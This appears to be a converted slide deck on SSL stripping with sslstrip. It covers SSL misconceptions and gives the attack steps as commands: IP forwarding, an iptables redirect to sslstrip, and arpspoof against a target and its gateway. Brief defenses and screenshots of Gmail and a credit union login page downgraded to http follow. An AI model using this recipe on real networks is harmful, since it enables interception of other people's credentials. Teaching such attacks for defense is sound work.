SSL Spoofing

Man-In-The-Middle attack on SSL

Duane Peifer

Summary

- How SSL works
- Common SSL misconceptions
- SSL Spoofing
- Using sslstrip
- Preventing SSL Spoofing
- Examples of stripped sites

How SSL works





Common SSL misconceptions

- HTTPS means I am secure right?
- What about...
 - SSL version 2.0 flaws
 - Weak Ciphers < 128 bit
 - Certificate keys < 1024 bits</p>
 - Client vulnerabilities
 - Server vulnerabilities
 - Application vulnerabilities
- SSL can provide a false sense of security

SSL Spoofing

 Moxie Marlinspike created sslstrip and presented at Black Hat DC 2009.

http://www.thoughtcrime.org/

 Does not attack SSL itself, but the transition from non-encrypted to encrypted communications.

Common HTTP/HTTPS Connection



Hijacking Communication



Using sslstrip

- 1. Get sslstrip
 - A. Download and install sslstrip and arpspoof (linux only)
 - <u>http://www.thoughtcrime.org/software.html</u>
 - <u>http://sourceforge.net/projects/arpspoof/</u>

B. Backtrack 4 (pre-installed)

<u>http://www.backtrack-linux.org/downloads/</u>

Using sslstrip

2. Configure attack machine for IP forwarding.

echo "1" > /proc/sys/net/ipv4/ip_forward

3. Route all HTTP traffic to sslstrip.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 54321

4. Run sslstrip.

sslstrip –l 54321

Using sslstrip

5. Configure ARP spoofing.

arpspoof -i eth0 -t <targetIP> <gatewayIP>

6. Launch a sniffer and collect data.

Expanding the attack

- What if a root certificate could be installed on the target?
- The attacker could potentially replace the certificate and maintain a secure connection.

Preventing SSL Spoofing

- Ensure you are using secure connections. Look for the HTTPS.
- Be careful about where you use secure sites.
- Secure machines on the network.
- Use static ARP tables.*
- * This is a TON of work. Understand the ramifications of doing this before starting.

🍘 Gmail: Email from Google - Windows Internet Explorer	
🚱 🔵 🗢 🚼 https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&trm=false&continue= 👻 🔒 📄 🗙	Google 🔎 🔻
☆ Favorites 🛛 🚕 🚼 Google 🧰 CNN 🔊 Slickdeals 👱 Tenable 🔊 VOIPSA Resources VoIP S 🖉 Testing SIP Security on a 🛔	🗧 RHN 🙋 ÜberScan Reporter 👋
🚼 Gmail: Email from Google 👘 🔻 🖾 🔻 🖾	🗈 🖶 🔻 Page 🕶 Safety 🕶 Tools 🕶 🕢 🎝 🚉
A Google approach to email.	
Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:	Sign in with your
Keep unwanted messages out of your inbox with Google's innovative technology.	Google Account
Mobile access Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. Learn more	ex: pat@example.com Password:
Lots of space Over 7474.074538 megabytes (and counting) of free storage.	Stay signed in Sign in
Latest News from the Gmail Blog	Can't access your account?
Grandmother's guide to video chat Thu Jul 1 2010	
Often when I tell people that I work on Google video chat, I hear stories about how they've used More posts »	New to Gmail? It's free and easy.
	Create an account »
	About Gmail New features!
©2010 Google - <u>Gmail for Business</u> - <u>Gmail Blog</u> - <u>Terms</u> - <u>Help</u>	
🛕 Done 🌍 Internet Protect	ted Mode: On 🖓 🔻 🍕 100% 👻 📑

Gmail: Email from Google - Windows Internet Explorer	
🚱 🔾 🔻 🚼 http://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http% 🔹 🔯 😽 🗙	Google 🔎 👻
🖕 Favorites 🛛 🙀 🎝 Google 🚾 CNN 🏘 Slickdeals 👱 Tenable 🖉 VOIPSA Resources VoIP S 🖉 Testing SIP Security on a 🏾	🚆 RHN 🕖 ÜberScan Reporter 👋
Samail: Email from Google 🖄 🔻 🖾 🔻 🖾	🗈 🖶 🔻 Page 🕶 Safety 🕶 Tools 🕶 🔞 🖛 🤔 🚉
A Google approach to email.	
Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Less spam Keep unwanted messages out of your inbox with Google's innovative technology.	Sign in with your Google Account
Mobile access Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. Learn more	Username: ex: pat@example.com Password: Stay signed in
Lots of space Over 7474.076679 megabytes (and counting) of free storage.	Sign in Can't access your account?
Latest News from the Gmail Blog Grandmother's guide to video chat Thu Jul 1 2010 Often when I tell people that I work on Google video chat, I hear stories about how they've used More posts »	New to Gmail? It's free and easy. Create an account »
	About Gmail New features!
©2010 Google - <u>Gmail for Business</u> - <u>Gmail Blog</u> - <u>Terms</u> - <u>Help</u>	
Done S Internet Protect	ted Mode: On 🛛 🖓 👻 🍕 100% 👻 📑

🕘 Gmail: Email from Google - Mozilla Firefox	
<u>File Edit View History Bookmarks Tools H</u> elp	
C X 🏠 google.com https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&	trm= 🏠 🔻 🚼 🖉 Google 🛛 🔎
🖉 Most Visited 🗋 Getting Started 🔜 Latest Headlines 🗋 HN - Nessus	
Gmail: Email from Google	•
Welcome to Gmail	
A Google approach to email.	
Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Image: Comparison of the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Image: Comparison of the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Image: Comparison of the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Image: Comparison of the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Image: Comparison of the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail can be more into a state of the idea that email can be more into a stat	Sign in with your Google Account Username: ex: pat@example.com Password: Stay signed in
Lots of space Over 7474.074802 megabytes (and counting) of free storage.	Sign in Can't access your account?
	New to Gmail? It's free and easy. Create an account »
	About Gmail New features!
©2010 Google - <u>Gmail for Business</u> - <u>Gmail Blog</u> - <u>Terms</u> - <u>Help</u>	
Done	

🕘 Gmail: Email from Google - Mozilla Firefox	
<u>Eile Edit V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>I</u> ools <u>H</u> elp	
🔇 💽 C 🗙 🏠 http://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&	contini 🏠 👻 Google 🛛 🔎
🖻 Most Visited 🗋 Getting Started <u></u> Latest Headlines 🗋 HN - Nessus	
S Gmail: Email from Google	
A Google approach to email.	
Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has: Less spam Keep unwanted messages out of your inbox with Google's innovative technology. Mobile access	Sign in with your Google Account Username: ex: pat@example.com
Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. Learn more Lots of space	Password: Stay signed in Sign in
Over 7474.076984 megabytes (and counting) of free storage.	Can't access your account?
	New to Gmail? It's free and easy. Create an account »
	About Gmail New features!
©2010 Google - <u>Gmail for Business</u> - <u>Gmail Blog</u> - <u>Terms</u> - <u>Help</u>	
Done	at



















Attp://www.summitfcu.org/ - Windows Internet Explorer		• X
C v kttp://www.summitfcu.org/	👻 😼 😽 🗙 🔂 Google	• ٩
🖕 Favorites 🛛 🚕 🔧 Google 🚾 CNN 🔊 Slickdeals 💆 Tenable 🔊 VOIPSA Resources VoIP S	. 🔊 Testing SIP Security on a 🗧 RHN 🔊 ÜberScan Reporter	>>
http://www.summitfcu.org/	🛅 👻 🖾 👻 🖃 🖶 💌 Page 🕶 Safety 🕶 Tools 👻 🔞	- 🕹 🛍

😜 Internet Protected Mode: On





Summit FCU

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

<script type="text/javascript" src="https://www.summitfcu.org/onlineserv/HB/Si gnon.cgi?remote=TRUE"></script>

<script type="text/javascript">var bPasswordFocus = false;</script>